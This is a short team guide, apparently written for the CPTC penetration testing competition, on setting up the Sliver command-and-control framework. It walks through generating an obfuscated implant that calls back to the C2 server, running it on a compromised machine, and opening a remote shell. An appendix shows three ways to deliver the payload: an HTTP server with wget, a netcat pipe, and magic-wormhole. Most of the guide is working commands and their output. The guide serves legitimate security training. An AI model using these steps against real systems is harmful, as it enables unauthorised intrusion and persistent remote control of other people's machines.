

Using Sliver for CPTC

Setup

1. Download and Import your Sliver Client Config

The Sliver Client config will be distributed by whoever starts the server

```
> sliver-client import operator_<SERVER-IP>.cfg
```

2. Open Sliver

```
> sliver-client
```

Scenario 1. Pwn'd a Machine, Maintain foothold

1. Generate a payload

```
sliver> generate --os <linux|windows> --mtls <SERVER-IP>
```

Note: specify the **server ip** (not your IP), this should be the same one named in the sliver-client config file

```
sliver > generate --os linux --mtls 192.168.122.165

[*] Generating new linux/amd64 implant binary
[*] Symbol obfuscation is enabled
[*] Build completed in 25s
[*] Implant saved to /home/ontu/RAINY_CORRIDOR
```

2. Copy the payload executable to the target system

Examples on how to do this are included at the bottom of this doc.

3. **On the target:** Execute the payload

Successful if a message like this pops up

```
[*] Session 408ceacb RAINY_CORRIDOR - 192.168.122.165:51836 (kali) - linux/amd64 - Fri, 03 Oct 2025 23:00:33 EDT
```

```
sliver > 
```

Scenario 2. Accessing a Pwn'd machine

1. Select the target system

```
sliver> use
```

```
sliver > use
```

```
? Select a session or beacon: [Use arrows to move, type to filter]
> SESSION 408ceacb RAINY_CORRIDOR 192.168.122.165:51836 kali ontu linux/amd64
   BEACON 86cdd75f FRONT_PRODUCTION 127.0.0.1:52456 kali ontu linux/amd64
```

2. Open a shell

```
sliver (PAYLOAD_NAME)> shell
```

```
sliver (RAINY_CORRIDOR) > shell
```

```
? This action is bad OPSEC, are you an adult? Yes
```

```
[*] Wait approximately 10 seconds after exit, and press <enter> to continue
```

```
[*] Opening shell tunnel (EOF to exit) ...
```

```
[*] Started remote shell with pid 20982
```

```
(ontu@kali)-[~]
$ 
```

Appendix. Deploying Payload onto a System

There are 100 different ways you can do this, but here's the most common (linux)

1. Python HTTP Server + WGET

ON LOCAL:

```
> python3 -m http.server
```

```
ontu@kali: ~/payloads
File Actions Edit View Help
(ontu@kali)-[~/payloads]
$ ls
RAINY_CORRIDOR
(ontu@kali)-[~/payloads]
$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
```

ON TARGET:

```
> wget <YOUR-IP>:8000/<PAYLOAD_NAME>
```

```
(ontu@kali)-[~]
$ wget 192.168.122.165:8000/RAINY_CORRIDOR
Prepended http:// to '192.168.122.165:8000/RAINY_CORRIDOR'
--2025-10-03 23:08:35-- http://192.168.122.165:8000/RAINY_CORRIDOR
Connecting to 192.168.122.165:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 14221312 (14M) [application/octet-stream]
Saving to: 'RAINY_CORRIDOR'

RAINY_CORRIDOR                               100%[=====]
2025-10-03 23:08:35 (874 MB/s) - 'RAINY_CORRIDOR' saved [14221312/14221312]

(ontu@kali)-[~]
$
```

2. Raw Netcat

ON TARGET:

```
(ontu@kali)-[~]
$ nc -lvp 1337 > payload
listening on [any] 1337 ...
```

ON HOST:

```
cat <PAYLOAD> | nc <TARGET-IP> 1337
```

ON TARGET:

```
chmod +x payload
```

3. Magic-wormhole

Useful if firewall breaks the above

ON HOST:

```
sudo apt install magic-wormhole  
magic-wormhole send <PAYLOAD>
```

ON TARGET:

```
sudo apt install magic-wormhole      # (or equivalent)  
magic-wormhole receive <PASSPHRASE>
```